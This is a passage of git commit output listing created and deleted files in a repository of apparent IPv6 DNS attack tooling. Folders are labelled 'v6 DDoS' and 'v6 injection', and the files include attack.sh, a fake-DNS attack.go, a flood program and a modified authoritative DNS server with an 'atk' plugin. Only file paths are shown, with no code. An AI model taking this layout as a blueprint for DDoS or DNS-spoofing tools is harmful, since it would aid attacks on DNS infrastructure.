DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/ttl.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/doh/doh.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/edns/edns.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/http/http.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/listener.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/log.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/plugin.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/runtime.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/nonwriter/nonwriter.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/host.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/parse.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/transport.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/args.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_config.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_meta.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberandgoroutlist.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberutil.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/connect.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/error.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/health.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/metric.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/persistent.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/proxy.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/type.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rand/rand.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rcode/rcode.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/replacer/replacer.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/README.md" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/edns0.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/http_request.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/request.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/writer.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/classify.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/type.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_no_reuseport.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_reuseport.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/tls/tls.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/trace/trace.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/transport/transport.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/uniq/uniq.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/up/up.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin_prober.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/probe53.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/setup.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qname.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qnameutil.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/setup.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/context.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/handler.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/metrics.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/recorder.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/registry.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/setup.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/monitor.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/report.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/vars.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/register.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/setup.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/whoami/whoami.go" create mode 100644 "att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin_gen.go" create mode 100644 "att script/3 (v6 DDoS)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/attack.sh" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/dns_OPT.bin" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/dns_end.bin" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/dns_query.sh" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/dns_start.bin" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/attack.go" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/dns.go" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/go.mod" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/go.sum" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/ipv6util.go" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/src/fakedns6/library.go" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/src/flood/go.mod" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/src/flood/go.sum" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/src/flood/ipv6util.go" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/src/flood/main.go" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/code/start.sh" create mode 100644 "att script/4 (v6\346\263\250\345\205\245)/\350\257\264\346\230\216\346\226\207\346\241\243.docx" delete mode 100644 "att script/4(v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.mod" delete mode 100644 "att script/4(v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.sum" delete mode 100644 "att script/4(v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/main.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/Ohmyfile" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/core.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/address.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/config.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/https.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/onstartup.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/register.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_grpc.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_https.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_tls.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/view.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/zdirectives.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/plug/zplugin.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/address.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/onstartup.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/pdirectives.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_args.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_http.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/prober_serve.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/register.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.mod" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.sum" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/run.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/version.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmydns.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin.cfg" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atk.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atkutil_test.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/setup.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/debug.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/debug/pcap.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/dnstap.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/encoder.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/io.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/msg/msg.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/setup.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/dnstap/writer.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/dnstap.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/forward.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/metric.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/policy.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/setup.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/README.md" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/log.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/setup.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/README.md" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/metadata.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/provider.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/setup.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/normalize.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/README.md" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/cidr/cidr.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/multirecorder.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/recorder.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/server.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/reverse.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/ttl.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/doh/doh.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/edns/edns.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/http/http.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/listener.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/log.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/plugin.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/runtime.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/nonwriter/nonwriter.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/host.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/parse.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/transport.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/args.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_config.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_meta.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberandgoroutlist.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberutil.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/connect.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/error.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/health.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/metric.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/persistent.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/proxy.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/type.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rand/rand.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rcode/rcode.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/replacer/replacer.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/README.md" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/edns0.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/http_request.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/request.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/writer.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/classify.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/response/type.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_no_reuseport.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/reuseport/listen_reuseport.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/tls/tls.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/trace/trace.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/transport/transport.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/uniq/uniq.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/up/up.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin_prober.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/probe53.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/setup.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qname.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qnameutil.go" delete mode 100644 "att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/setup.go" delete mode 100644 "att script/4(v6 